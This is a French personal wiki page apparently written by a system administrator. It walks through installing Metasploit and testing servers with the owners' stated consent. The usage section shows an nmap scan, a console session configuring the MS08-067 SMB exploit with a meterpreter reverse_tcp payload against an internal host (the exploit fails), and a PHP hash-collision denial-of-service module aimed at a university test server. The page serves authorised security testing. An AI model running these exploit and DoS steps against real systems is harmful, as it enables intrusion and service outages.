Richard Bruno
navigation
Home
admin









Metasploit
October 18th, 2016

Table des matières



Objectif
Docs
Installation
Utilisation

Objectif


Vérifier que nos serveurs sont mis à jour régulièrement et n'offrent pas de portes
d'entrée facilement exploitables.
Accéder à des machines sans avoir été autorisé est illégal. Ces tests sont effectués
dans le but de vérifier la sécurité des machines. Les propriétaires de ces machines sont prévenus
et ont donné leur accord.

Docs



Quelques docs :
http://www.tux-planet.fr/installation-et-utilisation-de-metasploit-sous-linux/

Créer/utiliser la DB : http://en.wikibooks.org/wiki/Metasploit/UsingMetasploit

Utiliser le GUI : http://pauldotcom.com/2010/07/metasploit-new-gui.html

Installation



Ubuntu (07/2011)
Téléchargement sur http://www.metasploit.com
du fichier framework-3.7.2-linux-full.run

chmod 755 framework-3.7.2-linux-full.run
sudo ./framework-3.7.2-linux-full.run
hash -r
msfupdate
msfconsole



Debian (04/2013)

Metasploit n'est plus distribué via SVN mais via git :

git clone git://github.com/rapid7/metasploit-framework.git



Les mises à jour se font de la façon suivante :

cd metasploit-framework



On vérifie que le fichier de config est ok :

metasploit-framework# more .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
fetch = +refs/heads/*:refs/remotes/origin/*
url = git://github.com/rapid7/metasploit-framework.git
[branch "master"]
remote = origin
merge = refs/heads/master



Et on lance la maj :

git pull



Utilisation



Phase 1

Vérification des ports ouverts sur la cible

nmap 176.16.7.58

Starting Nmap 5.00 ( http://nmap.org ) at 2011-07-13 16:03 CEST
Interesting ports on 172.16.7.58:
Not shown: 993 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
497/tcp open retrospect
617/tcp open sco-dtmgr
1025/tcp open NFS-or-IIS
1720/tcp open H.323/Q.931

Nmap done: 1 IP address (1 host up) scanned in 1.18 seconds



Exploits disponibles pour windows

show exploits windows



Test

msf > set RHOST 172.16.7.58
RHOST => 172.16.7.58
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 172.16.7.58
RHOST => 172.16.7.58
msf exploit(ms08_067_netapi) > set LHOST 172.16.7.31
LHOST => 172.16.7.31
msf exploit(ms08_067_netapi) > set RPORT 445
RPORT => 445
msf exploit(ms08_067_netapi) > set SMBPIPE SRVSVC
SMBPIPE => SRVSVC
msf exploit(ms08_067_netapi) > set TARGET 0
TARGET => 0
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 172.16.7.31:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 - Service Pack 1 - lang:Unknown
[*] We could not detect the language pack, defaulting to English
[*] Selected Target: Windows 2003 SP1 English (NX)
[-] Exploit exception: The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
[*] Exploit completed, but no session was created.
msf exploit(ms08_067_netapi) >


La machine n'est pas susceptible d'être attaquée par ce biais.


Phase 2

metasploit-framework# ./msfconsole



Recherche des failles relatives à PHP :

msf > search php



Sélection :

msf > use auxiliary/dos/http/hashcollision_dos



Information :

msf > info auxiliary/dos/http/hashcollision_dos



Paramétrage :

msf > set TARGET PHP
msf > set RHOST test-metas.univ-lemans.fr



Lancement :

run




Dernières modifs
Selinux (October 24th, 2020)
Apache 2 - Cassifier un repertoire - PHPCAS (October 18th, 2016)
Apache 2 - Authentification LDAP (October 18th, 2016)
Cas (October 18th, 2016)
Eduroam (October 18th, 2016)
Hashage (October 18th, 2016)
Keepass (October 18th, 2016)

Contact
Pour m'envoyer un mail,
Pour me laisser un commentaire :
richard.brunooo
chez
gmail.com


powered by kure, modified by Bruno